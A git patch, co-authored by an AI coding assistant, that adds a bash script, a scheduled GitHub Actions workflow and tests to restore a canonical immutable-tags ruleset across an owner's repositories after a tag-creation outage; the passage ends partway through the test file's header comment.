From e12fb0367d60e55181050eff76673fcc3dad1261 Mon Sep 17 00:00:00 2001 From: "Jonathan D.A. Jewell" <6759885+hyperpolymath@users.noreply.github.com> Date: Tue, 15 Sep 2026 03:56:54 +0100 Subject: [PATCH 1/4] feat(rulesets): a committed applier for the canonical tag ruleset The 2026-09-11 tag outage was never a bad policy -- it was an UNREACHABLE fix. `config/rulesets/Immutable-Tags.json` carried `creation` with zero bypass actors, was deployed estate-wide by ad-hoc uncommitted means on 09-11, and CodeRabbit removed `creation` from the FILE in 9d5437bc on 09-12. Nothing re-deployed it, because no committed script in this repository reads `config/rulesets/` at all. A body that can be pushed out by hand but pulled back by nothing is the defect. 372 of 439 repositories still refuse a tag ref. This adds the missing reader: scripts/apply-tag-ruleset-canon.sh converges every non-archived repository across BOTH owners onto config/rulesets/immutable-tags.json, and is report-only unless --apply is passed. .github/workflows/tag-ruleset-canon.yml runs it weekly, minting a separate App token per owner because an installation token is scoped to ONE owner. tests/test_tag_ruleset_canon.sh 18 assertions over 10 properties, picked up automatically by self-test.yml. It also deletes the rival `config/rulesets/Immutable-Tags.json`. Two files differing only in case is how the wrong body shipped for four days. Four traps are encoded because each one silently produces a clean-looking run: * IDENTITY IS TARGET + INCLUDE, NEVER THE NAME. Measured: 26 repositories named `Immutable-Tags` have no creation rule while 2 named `Immutable Tags` are healthy. An existing ruleset is PUT by id and keeps its own name, so the PUT body is del(.name) -- sending name RENAMES the live ruleset. * THE LIST ENDPOINT OMITS conditions, rules AND bypass_actors. Filtering the list matched 0 of 178 live repositories, turning every PUT into a POST and recreating the duplicate-ruleset bug. The read is two-step by construction. * RULESETS ARE ADDITIVE. awesome-gleam and awesome-zig each hold a healthy ruleset beside a zero-bypass rival, and BOTH repositories still refuse a real tag ref. So a repository carrying two fails closed rather than being skipped as "already fine". * A PUT REPLACES bypass_actors. deed-ecosystem carries 12 actors against canon's 2, so it is reported as a superset and skipped, never stripped. Scoring is on a real tag ref that is created and deleted, never on a ruleset read-back and never on a name: a tag OBJECT posts fine while creation is blocked, and only the REF is refused. Dry run over all 439 non-archived repositories reconciles exactly with an independent mechanism-keyed census, 439 = 439 in every bucket: 416 WOULD-PUT + 1 bypass-superset = 372 blocked + 45 no-creation 7 CONVERGED + 2 duplicate = 9 healthy 8 WOULD-CREATE + 5 failed = 13 with no ~ALL tag ruleset The 5 failures are not faults: metadatastician is on the FREE plan, where the rulesets API returns 403 on a private repository. Those 5 cannot be converged until the org is upgraded or they are made public. Every guard was mutation-tested. Ten mutants, ten kills; two assertions were found INERT by that exercise and rewritten -- one matched a PUT and a DELETE while claiming to prove a GET, the other matched an `exit 3` elsewhere in the file while claiming to prove the credential gate exits. Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_014QN8x5x4kNKY8EYCFsCmWB --- .github/workflows/tag-ruleset-canon.yml | 165 ++++++++++ config/rulesets/Immutable-Tags.json | 18 - scripts/apply-tag-ruleset-canon.sh | 417 ++++++++++++++++++++++++ tests/test_tag_ruleset_canon.sh | 166 ++++++++++ 4 files changed, 748 insertions(+), 18 deletions(-) create mode 100644 .github/workflows/tag-ruleset-canon.yml delete mode 100644 config/rulesets/Immutable-Tags.json create mode 100755 scripts/apply-tag-ruleset-canon.sh create mode 100755 tests/test_tag_ruleset_canon.sh diff --git a/.github/workflows/tag-ruleset-canon.yml b/.github/workflows/tag-ruleset-canon.yml new file mode 100644 index 000000000..1a312a09f --- /dev/null +++ b/.github/workflows/tag-ruleset-canon.yml @@ -0,0 +1,165 @@ +# SPDX-License-Identifier: MPL-2.0 +# Converge every non-archived estate repository on the canonical immutable-tags +# ruleset. This workflow exists because the 2026-09-11 damage (372 repositories +# left unable to create ANY tag) persisted for days: nothing committed to this +# repository globbed config/rulesets/, so nothing ever re-converged the estate. +# A one-shot sweep would have cured the data and left that hole open. This is +# the invariant instead. +# +# Sundays 05:29 UTC. Off the hour on purpose: the estate's crons cluster on :00 +# and contend for the same secondary rate limit. +name: tag ruleset canon + +on: + schedule: + - cron: '29 5 * * 0' + # workflow_dispatch so the owner can force convergence the moment a + # credential lands or an App is installed, without waiting for Sunday. + workflow_dispatch: + inputs: + apply: + description: 'Write changes (unchecked = report only)' + type: boolean + default: false + reconcile_duplicates: + description: 'Delete zero-bypass rival tag rulesets where a healthy sibling exists' + type: boolean + default: false + limit: + description: 'Process at most N repositories (0 = all)' + type: string + default: '0' + +concurrency: + group: tag-ruleset-canon + cancel-in-progress: false + +permissions: + contents: read + +jobs: + converge: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + + # An App installation token is scoped to ONE owner and carries its own + # rate limit, so it is preferred over a PAT shared with everything else. + # `owner:` is required: without it the token is scoped to THIS repository + # and every ruleset write would 404. + - name: Mint an App installation token for hyperpolymath + id: tok-user + if: vars.APP_ID != '' + uses: actions/create-github-app-token@bcd2ba49218906704ab6c1aa796996da409d3eb1 # v3.2.0 + continue-on-error: true + with: + app-id: ${{ vars.APP_ID }} + private-key: ${{ secrets.APP_PRIVATE_KEY }} + owner: hyperpolymath + + - name: Mint an App installation token for metadatastician + id: tok-org + if: vars.APP_ID != '' + uses: actions/create-github-app-token@bcd2ba49218906704ab6c1aa796996da409d3eb1 # v3.2.0 + continue-on-error: true + with: + app-id: ${{ vars.APP_ID }} + private-key: ${{ secrets.APP_PRIVATE_KEY }} + owner: metadatastician + + # A nonexistent secret resolves to an empty string in silence, and a sweep + # over an empty credential reports a clean run while writing nothing. Fail + # here, before any enumeration, and say exactly what is missing. + - name: Assert a credential exists + env: + APP_USER: ${{ steps.tok-user.outputs.token }} + APP_ORG: ${{ steps.tok-org.outputs.token }} + PAT: ${{ secrets.ESTATE_ADMIN_TOKEN }} + run: | + set -euo pipefail + if [ -n "${APP_USER:-}" ] || [ -n "${PAT:-}" ]; then + echo "credential present"; exit 0 + fi + cat >&2 <<'MSG' + FATAL: no credential can write rulesets. + + Rulesets need administration:write on every target repository. + GITHUB_TOKEN is repo-scoped and cannot do this, so this workflow + refuses to run rather than report a clean sweep over nothing. + + Supply EITHER: + * vars.APP_ID + secrets.APP_PRIVATE_KEY for a GitHub App holding + administration:write, installed on hyperpolymath AND on + metadatastician. Preferred: the App is already the canonical + bypass actor, and an installation token has its own rate limit. + * secrets.ESTATE_ADMIN_TOKEN — a PAT with repo administration. + + Measured 2026-09-15: neither APP_ID nor APP_PRIVATE_KEY exists on + this repository, which is why signed-push-smoke.yml has never passed. + MSG + exit 3 + + - name: Converge hyperpolymath (user-owned repositories) + id: user + env: + GH_TOKEN: ${{ steps.tok-user.outputs.token || secrets.ESTATE_ADMIN_TOKEN }} + ESTATE_ORGS: '' + run: | + set -euo pipefail + args=() + [ "${{ inputs.apply || false }}" = "true" ] && args+=(--apply) + [ "${{ inputs.reconcile_duplicates || false }}" = "true" ] && args+=(--reconcile-duplicates) + [ "${{ inputs.limit || '0' }}" != "0" ] && args+=(--limit "${{ inputs.limit }}") + rc=0 + ./scripts/apply-tag-ruleset-canon.sh "${args[@]+"${args[@]}"}" \ + | tee canon-user.tsv || rc=$? + echo "rc=$rc" >> "$GITHUB_OUTPUT" + + # metadatastician is an ORGANISATION, not a second user: + # user/repos?affiliation=owner returns ZERO of its repositories. A census + # from that endpoint alone is silently single-owner and looks healthy -- + # it is how 212 live repositories went unmeasured. + - name: Converge metadatastician (organisation repositories) + id: org + env: + GH_TOKEN: ${{ steps.tok-org.outputs.token || secrets.ESTATE_ADMIN_TOKEN }} + ESTATE_ORGS: 'metadatastician' + run: | + set -euo pipefail + args=(--skip-user) + [ "${{ inputs.apply || false }}" = "true" ] && args+=(--apply) + [ "${{ inputs.reconcile_duplicates || false }}" = "true" ] && args+=(--reconcile-duplicates) + rc=0 + ./scripts/apply-tag-ruleset-canon.sh "${args[@]}" \ + | tee canon-org.tsv || rc=$? + echo "rc=$rc" >> "$GITHUB_OUTPUT" + + - name: Publish the report + if: always() + uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2 + with: + name: tag-ruleset-canon-report + path: canon-*.tsv + if-no-files-found: warn + + # The job must be red while any repository is off canon, otherwise a + # scheduled applier becomes a scheduled green light. Exit 4 means an App + # is not installed on an owner -- only the owner can fix that. + - name: Fail while drift remains + if: always() + run: | + set -euo pipefail + u='${{ steps.user.outputs.rc }}'; o='${{ steps.org.outputs.rc }}' + echo "hyperpolymath rc=${u:-unrun} metadatastician rc=${o:-unrun}" + for f in canon-user.tsv canon-org.tsv; do + [ -f "$f" ] || continue + echo "--- $f" + awk -F'\t' '{c[$2]++} END {for (k in c) printf " %5d %s\n", c[k], k}' "$f" + done + if [ "${u:-0}" = "4" ] || [ "${o:-0}" = "4" ]; then + echo "::error::A canonical bypass actor's GitHub App is not installed on an owner. ONE body everywhere is the decision, so there is deliberately no admin-only fallback. The owner must install the App; an API token cannot." + exit 1 + fi + [ "${u:-0}" = "0" ] && [ "${o:-0}" = "0" ] || { + echo "::error::tag ruleset drift remains; see the report artifact"; exit 1; } + echo "estate is on canon" diff --git a/config/rulesets/Immutable-Tags.json b/config/rulesets/Immutable-Tags.json deleted file mode 100644 index 768af9660..000000000 --- a/config/rulesets/Immutable-Tags.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "name": "Immutable-Tags", - "target": "tag", - "enforcement": "active", - "conditions": { - "ref_name": { - "include": ["~ALL"], - "exclude": [] - } - }, - "bypass_actors": [], - "rules": [ - {"type": "deletion"}, - {"type": "non_fast_forward"}, - {"type": "update"}, - {"type": "required_signatures"} - ] -} diff --git a/scripts/apply-tag-ruleset-canon.sh b/scripts/apply-tag-ruleset-canon.sh new file mode 100755 index 000000000..1409e4e19 --- /dev/null +++ b/scripts/apply-tag-ruleset-canon.sh @@ -0,0 +1,417 @@ +#!/usr/bin/env bash +# SPDX-License-Identifier: MPL-2.0 +# +# apply-tag-ruleset-canon.sh — converge every non-archived estate repository on +# the canonical immutable-tags ruleset (config/rulesets/immutable-tags.json). +# +# WHY THIS EXISTS +# On 2026-09-11 a deployment wave wrote a tag ruleset carrying a `creation` +# rule with ZERO bypass actors onto 372 repositories, which makes it +# impossible to create ANY tag in those repositories. The damage persisted +# because no committed script in this repository globs config/rulesets/ — so +# nothing ever re-converged the estate. A one-shot sweep would have cured the +# data and left that root cause intact. This applier IS the cure: it is the +# invariant, not the repair. +# +# IDENTITY — READ BEFORE EDITING +# Per config/README.adoc: "Identity is the target, never the name ... an +# existing ruleset is PUT by id and keeps whatever name it has." A tag ruleset +# is therefore identified as: target == "tag" AND +# conditions.ref_name.include == ["~ALL"] exactly. The `name` field is NEVER +# used to classify, and is sent ONLY on a POST that creates a new ruleset — +# sending it on a PUT would silently rename the ruleset. Measured 2026-09-15: +# 372 repos named `Immutable-Tags` were BLOCKED, 26 with that SAME name were +# not, 2 named `Immutable Tags` were healthy. The name is noise. +# +# RULESETS ARE ADDITIVE +# Bypass is per-ruleset. A repository holding a healthy ruleset AND a +# zero-bypass rival still refuses every tag (proven on awesome-gleam and +# awesome-zig, which each hold two and both return HTTP 422). So "this repo +# already has a good ruleset" is never grounds to skip it, and a duplicate +# must be reconciled by DELETING the rival, not by correcting one of them. +# config/README.adoc: "Exactly one such ruleset must exist; zero or two is a +# verifier failure." Duplicates therefore FAIL CLOSED here and are reported; +# deletion happens only under the explicit --reconcile-duplicates flag. +# +# Inputs (environment): +# GH_TOKEN required. Must hold administration:write on every +# target repository. GITHUB_TOKEN from a workflow is +# repo-scoped and WILL NOT DO. +# CANON_FILE optional. Default config/rulesets/immutable-tags.json +# ESTATE_ORGS optional. Space-separated orgs to union in. +# Default "metadatastician". +# +# Inputs (flags): +# --apply perform writes. WITHOUT IT THIS SCRIPT ONLY REPORTS. +# --limit N process at most N repositories (pilot runs). +# --repo OWNER/NAME process exactly one repository (repeatable). +# --reconcile-duplicates delete zero-bypass rival tag rulesets where a +# healthy sibling exists. Off by default. +# --no-verify skip the real-tag-ref verification probe. +# --skip-user do not enumerate user/repos; use only ESTATE_ORGS. +# An App installation token is scoped to ONE owner, so +# covering a user and an org needs one run per +# credential. This flag makes that composable. +# +# Outputs: +# A TSV report on stdout: repo state detail +# A one-line-per-class summary on stderr. +# +# Exit codes: +# 0 every target repository is CONVERGED (and verified, unless --no-verify) +# 2 drift remains, or one or more repositories FAILED +# 3 credential is absent or lacks administration:write (fails BEFORE any +# sweep, so a missing secret can never present as a clean run) +# 4 a target repository needs a bypass actor whose GitHub App is not +# installed on that owner. This is LOUD ON PURPOSE: falling back to an +# admin-only body would re-create the two-variant canon this estate has +# explicitly rejected. +# +# Dependencies: bash 4+, gh (authenticated), jq. +# +set -euo pipefail + +CANON_FILE="${CANON_FILE:-config/rulesets/immutable-tags.json}" +ESTATE_ORGS="${ESTATE_ORGS:-metadatastician}" +APPLY=0 RECONCILE=0 VERIFY=1 LIMIT=0 SKIP_USER=0 +declare -a ONLY_REPOS=() + +while [ $# -gt 0 ]; do + case "$1" in + --apply) APPLY=1 ;; + --reconcile-duplicates) RECONCILE=1 ;; + --no-verify) VERIFY=0 ;; + --skip-user) SKIP_USER=0; SKIP_USER=1 ;; + --limit) LIMIT="${2:?--limit needs a number}"; shift ;; + --repo) ONLY_REPOS+=("${2:?--repo needs OWNER/NAME}"); shift ;; + -h|--help) sed -n '2,70p' "$0"; exit 0 ;; + *) echo "unknown flag: $1" >&2; exit 64 ;; + esac + shift +done + +die() { echo "FATAL: $*" >&2; exit 2; } +note() { echo "[canon] $*" >&2; } + +command -v gh >/dev/null || die "gh not on PATH" +command -v jq >/dev/null || die "jq not on PATH" +[ -f "$CANON_FILE" ] || die "canon file not found: $CANON_FILE (run from the repo root)" + +# --------------------------------------------------------------------------- +# The canonical body. Read from the file so this script can never drift from +# the declared canon — the file is the single source of truth, not this script. +# --------------------------------------------------------------------------- +jq -e '.target == "tag"' "$CANON_FILE" >/dev/null \ + || die "$CANON_FILE is not a tag ruleset" +jq -e '.conditions.ref_name.include == ["~ALL"]' "$CANON_FILE" >/dev/null \ + || die "$CANON_FILE does not target ~ALL; the identity rule would not match it" +jq -e '[.rules[].type] | index("creation")' "$CANON_FILE" >/dev/null \ + || die "$CANON_FILE has no creation rule; it cannot be the immutable-tags canon" +jq -e '(.bypass_actors | length) >= 1' "$CANON_FILE" >/dev/null \ + || die "$CANON_FILE has ZERO bypass actors — that is the defect, not the cure" + +CANON_POST=$(jq -c '.' "$CANON_FILE") +# A PUT body omits `name`: an existing ruleset keeps whatever name it has. +CANON_PUT=$(jq -c 'del(.name)' "$CANON_FILE") +# The canonical actor set, as a sorted comparable key. +CANON_ACTORS=$(jq -r '[.bypass_actors[] | "\(.actor_type):\(.actor_id)"] | sort | join(",")' "$CANON_FILE") +CANON_RULES=$(jq -r '[.rules[].type] | sort | join(",")' "$CANON_FILE") +note "canon: actors=[$CANON_ACTORS] rules=[$CANON_RULES]" + +# --------------------------------------------------------------------------- +# CREDENTIAL GATE. A nonexistent secret resolves to an empty string and a loop +# over it succeeds at nothing while reporting green. So: prove the credential +# can WRITE a ruleset before enumerating anything. `gh api rate_limit` is not a +# write-readiness probe and neither is any read. +# --------------------------------------------------------------------------- +# Accept EITHER an explicit token (how CI supplies the App mint) OR an already +# authenticated gh CLI (how an operator runs it by hand; the credential lives in +# ~/.config/gh/hosts.yml, never in the environment). Requiring GH_TOKEN alone +# made this script unrunnable outside a workflow, which is how an applier ends +# up never being run at all. Requiring NEITHER is the defect: an absent secret +# resolves to an empty string in silence and the sweep writes nothing while +# reporting success. +if [ -n "${GH_TOKEN:-}" ]; then + note "credential: GH_TOKEN from the environment" +elif gh auth status >/dev/null 2>&1; then + note "credential: the authenticated gh CLI (no GH_TOKEN in the environment)" +else + cat >&2 <<'NOCRED' +FATAL: no credential. Rulesets need administration:write on every target repo. +Neither GH_TOKEN is set nor is the gh CLI authenticated. A workflow GITHUB_TOKEN +is repo-scoped and cannot write rulesets at all. Refusing to run a sweep that +would silently write nothing. + in CI : supply GH_TOKEN from actions/create-github-app-token + by hand : gh auth login --insecure-storage +NOCRED + exit 3 +fi + +probe_repo="${GITHUB_REPOSITORY:-hyperpolymath/standards}" +probe_body=$(mktemp); probe_out=$(mktemp) +trap 'rm -f "$probe_body" "$probe_out"' EXIT + +# Idempotent self-write: PUT this repository's own matching tag ruleset back +# with the bytes it already has. Succeeds iff the credential holds +# administration:write, and changes nothing if it does. +# The probe is itself a write, so it runs only when we intend to write. A dry +# run must not mutate anything -- including harmlessly. +if [ "$APPLY" -eq 0 ]; then + note "DRY RUN: skipping the write-capability probe; administration:write is UNVERIFIED in this run" + probe_id="" +else +probe_id=$(gh api "repos/$probe_repo/rulesets" --paginate 2>/dev/null \ + | jq -r '.[] | select(.target=="tag") | .id' | head -1 || true) +if [ -n "$probe_id" ] && [ "$probe_id" != "null" ]; then + if ! gh api "repos/$probe_repo/rulesets/$probe_id" > "$probe_body" 2>"$probe_out"; then + echo "FATAL: cannot even READ $probe_repo ruleset $probe_id:" >&2 + cat "$probe_out" >&2; exit 3 + fi + jq -c '{enforcement, conditions, bypass_actors: [.bypass_actors[] | {actor_id, actor_type, bypass_mode}], rules: [.rules[] | {type}]}' \ + "$probe_body" > "$probe_body.put" + if ! gh api --method PUT "repos/$probe_repo/rulesets/$probe_id" \ + --input "$probe_body.put" > /dev/null 2>"$probe_out"; then + echo "FATAL: credential cannot WRITE rulesets. The probe was an idempotent self-PUT of $probe_repo ruleset $probe_id and GitHub refused it:" >&2 + sed 's/^/ /' "$probe_out" >&2 + echo " Fix: supply a credential with administration:write (a GitHub App installation token, or a PAT with the repo administration scope). Not GITHUB_TOKEN." >&2 + rm -f "$probe_body.put"; exit 3 + fi + rm -f "$probe_body.put" + note "credential probe OK — administration:write confirmed by an idempotent self-PUT" +else + note "WARNING: $probe_repo has no tag ruleset to probe with; write capability is UNPROVEN" +fi +fi + +# --------------------------------------------------------------------------- +# TARGET ENUMERATION. `users/{u}/repos` omits private repos and +# `user/repos?affiliation=owner` returns NO organisation repos — metadatastician +# is an ORGANISATION, not a second user. A census from either endpoint alone is +# silently single-owner and looks healthy. Union both, then print the count. +# The listing returns canonical full_names, which also sidesteps the trap that +# `gh api` follows a renamed repo's 307 on GET but NOT on PUT/POST/DELETE. +# --------------------------------------------------------------------------- +repos_file=$(mktemp); : > "$repos_file" +if [ "${#ONLY_REPOS[@]}" -gt 0 ]; then + printf '%s\n' "${ONLY_REPOS[@]}" > "$repos_file" + note "explicit target list: ${#ONLY_REPOS[@]} repo(s)" +else + if [ "$SKIP_USER" -eq 0 ]; then + gh api --paginate 'user/repos?affiliation=owner&per_page=100' \ + --jq '.[] | select(.archived == false) | .full_name' >> "$repos_file" + fi + n_user=$(wc -l < "$repos_file") + for org in $ESTATE_ORGS; do + gh api --paginate "orgs/$org/repos?per_page=100" \ + --jq '.[] | select(.archived == false) | .full_name' >> "$repos_file" || \ + note "WARNING: could not list org $org" + done + sort -u -o "$repos_file" "$repos_file" + note "targets: $n_user from user/repos + orgs($ESTATE_ORGS) = $(wc -l < "$repos_file") unique non-archived repos" +fi +[ -s "$repos_file" ] || die "target list is EMPTY — refusing to report a clean sweep over nothing" +if [ "$LIMIT" -gt 0 ]; then + head -n "$LIMIT" "$repos_file" > "$repos_file.lim" && mv "$repos_file.lim" "$repos_file" + note "pilot: limited to $(wc -l < "$repos_file") repos" +fi +[ "$APPLY" -eq 1 ] || note "DRY RUN — reporting only. Pass --apply to write." + +declare -A COUNT=() +declare -a CHANGED=() +rc=0 app_missing=0 consecutive_403=0 +report() { printf '%s\t%s\t%s\n' "$1" "$2" "${3:-}"; COUNT[$2]=$(( ${COUNT[$2]:-0} + 1 )); } + +# Verify by creating a REAL tag ref, then deleting it. A tag OBJECT posts fine +# even while creation is blocked; only the REF is refused, with a bare +# "422 Reference update failed" naming no rule. So the ref is the only honest +# score — never the ruleset read-back, never the name. +verify_tag_ref() { + local repo="$1" probe="zz-canon-verify-$$-$RANDOM" sha out + sha=$(gh api "repos/$repo" --jq '.default_branch' 2>/dev/null) || return 2 + sha=$(gh api "repos/$repo/commits/$sha" --jq '.sha' 2>/dev/null) || return 2 + out=$(gh api --method POST "repos/$repo/git/refs" \ + -f "ref=refs/tags/$probe" -f "sha=$sha" 2>&1) || { + echo "$out" | head -1; return 1; } + gh api --method DELETE "repos/$repo/git/refs/tags/$probe" >/dev/null 2>&1 || \ + note "WARNING: created verification tag $probe on $repo but could not delete it" + return 0 +} + +while read -r repo; do + [ -n "$repo" ] || continue + rs=$(gh api "repos/$repo/rulesets?per_page=100" --paginate 2>/dev/null) || { + report "$repo" "FAILED" "cannot list rulesets"; rc=2; continue; } + + # MUST be two-step. DO NOT "optimise" this into a single filtered list call. + # The rulesets LIST endpoint returns a summary that omits `conditions`, + # `rules` and `bypass_actors` entirely, so filtering the list on .conditions + # matches NOTHING -- measured 0 of 178 live repos on 2026-09-09 -- which + # silently turns every PUT into a POST and recreates the very duplicate-ruleset + # outage this selector exists to prevent. Only GET .../rulesets/{id} carries + # the shape. (Same finding as git-scripts PR #58.) + ids=$(printf '%s' "$rs" | jq -r '.[] | select(.target=="tag") | .id') + matching=() + for id in $ids; do + d=$(gh api "repos/$repo/rulesets/$id" 2>/dev/null) || continue + if printf '%s' "$d" | jq -e '.conditions.ref_name.include == ["~ALL"]' >/dev/null 2>&1; then + matching+=("$id|$(printf '%s' "$d" | jq -c '{id,name,enforcement, + actors: ([.bypass_actors[]? | "\(.actor_type):\(.actor_id)"] | sort | join(",")), + nbypass: ([.bypass_actors[]?] | length), + rules: ([.rules[].type] | sort | join(","))}')") + fi + done + + case "${#matching[@]}" in + 0) + # No ruleset matches the identity rule: POST a fresh one. `name` IS sent here. + if [ "$APPLY" -eq 0 ]; then report "$repo" "WOULD-CREATE" "no ~ALL tag ruleset"; rc=2; continue; fi + out=$(printf '%s' "$CANON_POST" | gh api --method POST "repos/$repo/rulesets" --input - 2>&1) || { + if printf '%s' "$out" | grep -q 'must be part of the ruleset source or owner organization'; then + report "$repo" "FAILED-APP-NOT-INSTALLED" "$(printf '%s' "$out" | tr '\n' ' ' | head -c 200)" + app_missing=1; rc=2; continue + fi + printf '%s' "$out" | grep -q '403' && consecutive_403=$((consecutive_403+1)) || consecutive_403=0 + report "$repo" "FAILED" "POST: $(printf '%s' "$out" | tr '\n' ' ' | head -c 200)"; rc=2; continue + } + consecutive_403=0 + CHANGED+=("$repo"); report "$repo" "CREATED" "posted canon" + ;; + 1) + IFS='|' read -r id meta <<< "${matching[0]}" + actors=$(printf '%s' "$meta" | jq -r '.actors') + nbypass=$(printf '%s' "$meta" | jq -r '.nbypass') + rules=$(printf '%s' "$meta" | jq -r '.rules') + enf=$(printf '%s' "$meta" | jq -r '.enforcement') + + if [ "$actors" = "$CANON_ACTORS" ] && [ "$rules" = "$CANON_RULES" ] && [ "$enf" = "active" ]; then + report "$repo" "CONVERGED" "id=$id" + continue + fi + # A PUT REPLACES bypass_actors. Where a repo carries MORE actors than canon, + # flattening it would silently revoke bypass from apps we did not audit — + # deed-ecosystem holds 12, nine of them Integrations. Report, never flatten. + extra=$(printf '%s\n%s\n' "${actors//,/$'\n'}" "${CANON_ACTORS//,/$'\n'}" | sort | uniq -u) + only_extra=1 + for a in ${CANON_ACTORS//,/ }; do + printf '%s' ",$actors," | grep -q ",$a," || only_extra=0 + done + if [ "$only_extra" -eq 1 ] && [ "$nbypass" -gt "$(printf '%s' "$CANON_ACTORS" | tr ',' '\n' | wc -l)" ]; then + report "$repo" "SKIP-BYPASS-SUPERSET" "id=$id has $nbypass actors incl. all canon; a PUT would strip $(printf '%s' "$extra" | wc -w). Owner decision." + continue + fi + + if [ "$APPLY" -eq 0 ]; then + report "$repo" "WOULD-PUT" "id=$id bypass=$nbypass rules=[$rules]"; rc=2; continue + fi + out=$(printf '%s' "$CANON_PUT" | gh api --method PUT "repos/$repo/rulesets/$id" --input - 2>&1) || { + if printf '%s' "$out" | grep -q 'must be part of the ruleset source or owner organization'; then + report "$repo" "FAILED-APP-NOT-INSTALLED" "id=$id $(printf '%s' "$out" | tr '\n' ' ' | head -c 200)" + app_missing=1; rc=2; continue + fi + printf '%s' "$out" | grep -q '403' && consecutive_403=$((consecutive_403+1)) || consecutive_403=0 + report "$repo" "FAILED" "PUT id=$id: $(printf '%s' "$out" | tr '\n' ' ' | head -c 200)"; rc=2; continue + } + consecutive_403=0 + CHANGED+=("$repo"); report "$repo" "REPAIRED" "id=$id" + ;; + *) + # Two or more rulesets match the identity rule. Because rulesets are + # ADDITIVE, the most restrictive one wins and a healthy sibling grants + # nothing — so this is a real outage, not cosmetic drift. config/README.adoc + # makes "two" a verifier failure, so the default is to FAIL CLOSED and + # report rather than guess which one the estate meant to keep. + detail=$(printf '%s\n' "${matching[@]}" | sed 's/|/ /' | tr '\n' ' ') + if [ "$RECONCILE" -eq 0 ] || [ "$APPLY" -eq 0 ]; then + report "$repo" "DUPLICATE-FAIL-CLOSED" "${#matching[@]} matching tag rulesets: $detail (pass --reconcile-duplicates to delete zero-bypass rivals)" + rc=2; continue + fi + kept="" ; deleted=0 ; failed=0 + for m in "${matching[@]}"; do + IFS='|' read -r id meta <<< "$m" + nb=$(printf '%s' "$meta" | jq -r '.nbypass') + if [ "$nb" -eq 0 ]; then + if out=$(gh api --method DELETE "repos/$repo/rulesets/$id" 2>&1); then + deleted=$((deleted+1)) + else + failed=$((failed+1)) + note " $repo: could not delete rival $id: $(printf '%s' "$out" | tr '\n' ' ' | head -c 160)" + fi + else + kept="${kept:+$kept,}$id" + fi + done + if [ -z "$kept" ]; then + report "$repo" "DUPLICATE-FAIL-CLOSED" "every matching ruleset had zero bypass; refusing to delete them all and leave the repo unprotected" + rc=2; continue + fi + [ "$failed" -eq 0 ] || rc=2 + # The survivor is not necessarily canon. On awesome-gleam the healthy + # sibling carried only RepositoryRole:5 and no Integration actor, so + # deleting the rival alone would leave the repo non-canonical. Converge the + # survivor in the SAME pass rather than relying on a later run. + surv_put_ok=1 + for sid in ${kept//,/ }; do + if ! out=$(printf '%s' "$CANON_PUT" | gh api --method PUT "repos/$repo/rulesets/$sid" --input - 2>&1); then + surv_put_ok=0; rc=2 + if printf '%s' "$out" | grep -q 'must be part of the ruleset source or owner organization'; then + app_missing=1 + fi + note " $repo: deleted the rival but could not converge survivor $sid: $(printf '%s' "$out" | tr '\n' ' ' | head -c 160)" + fi + done + CHANGED+=("$repo") + if [ "$surv_put_ok" -eq 1 ]; then + report "$repo" "RECONCILED" "deleted $deleted rival(s), converged survivor id=$kept" + else + report "$repo" "RECONCILED-PARTIAL" "deleted $deleted rival(s) but survivor id=$kept is NOT canon" + fi + ;; + esac + + if [ "$consecutive_403" -ge 5 ]; then + note "STOPPING: 5 consecutive 403s. Contiguous failures at the tail of a bulk loop are the secondary rate limit, which is INVISIBLE to gh api rate_limit. This script is idempotent — re-run it to finish." + rc=2; break + fi +done < "$repos_file" + +# --------------------------------------------------------------------------- +# VERIFICATION on repos we actually changed, scored on a real tag ref. +# --------------------------------------------------------------------------- +if [ "$VERIFY" -eq 1 ] && [ "$APPLY" -eq 1 ] && [ "${#CHANGED[@]}" -gt 0 ]; then + note "verifying ${#CHANGED[@]} changed repo(s) by creating a REAL tag ref..." + for repo in "${CHANGED[@]}"; do + vr=0; err=$(verify_tag_ref "$repo") || vr=$? + case "$vr" in + 0) report "$repo" "VERIFIED" "created and deleted a real tag ref" ;; + 2) report "$repo" "VERIFY-SKIPPED" "could not resolve a default-branch commit to tag" ;; + *) report "$repo" "VERIFY-FAILED" "ruleset written but a real tag ref is STILL refused: ${err:-no body}" + rc=2 ;; + esac + done +elif [ "$VERIFY" -eq 0 ]; then + note "verification SKIPPED by --no-verify: no repo in this run is scored on a real tag ref" +fi + +echo "--- summary ---" >&2 +for k in "${!COUNT[@]}"; do printf ' %5d %s\n' "${COUNT[$k]}" "$k" >&2; done +rm -f "$repos_file" + +if [ "$app_missing" -eq 1 ]; then + cat >&2 <<'LOUD' + + ================================================================ + A bypass actor's GitHub App is NOT INSTALLED on a target owner. + GitHub refused the canonical body with: + "Actor integration must be part of the ruleset source + or owner organization" + This script DELIBERATELY does not fall back to an admin-only + body. Doing so would silently produce a second, weaker canon on + those repositories -- the two-variant estate this owner has + explicitly rejected. ONE body everywhere is the decision. + ACTION REQUIRED BY THE OWNER: install the App on that owner. + Nobody else can do it; an API token cannot install an App. + ================================================================ +LOUD + exit 4 +fi +exit "$rc" diff --git a/tests/test_tag_ruleset_canon.sh b/tests/test_tag_ruleset_canon.sh new file mode 100755 index 000000000..bef641d57 --- /dev/null +++ b/tests/test_tag_ruleset_canon.sh @@ -0,0 +1,166 @@ +#!/usr/bin/env bash +# SPDX-License-Identifier: MPL-2.0 +# SPDX-FileCopyrightText: 2026 Jonathan D.A. Jewell +# +# test_tag_ruleset_canon.sh — structural guards on the tag-ruleset canon and on +# the applier that deploys it. These exist because of a measured four-day +# outage: on 2026-09-11 a body carrying a `creation` rule and an EMPTY +# `bypass_actors` list was committed to config/rulesets/ and deployed to 372 +# repositories, after which nobody -- including the owner -- could create a tag +# anywhere. CodeRabbit corrected the file the next morning; the correction was +# never re-deployed, because nothing committed reads config/rulesets/. +# +# These are the properties a red MUST be able to name: +# +# 1. CANON IS USABLE: the tag canon restricts `creation` but keeps at least one +# bypass actor. A tag ruleset with `creation` and zero bypass actors is not +# "strict", it is an outage, and it is exactly what shipped. +# 2. NO CASE COLLISION: at most one file in config/rulesets/ declares a +# tag ruleset over ~ALL. Two files whose names differ only by case +# (`Immutable-Tags.json` vs `immutable-tags.json`) is how the wrong body +# got deployed while the right one sat beside it. +# 3. IDENTITY, 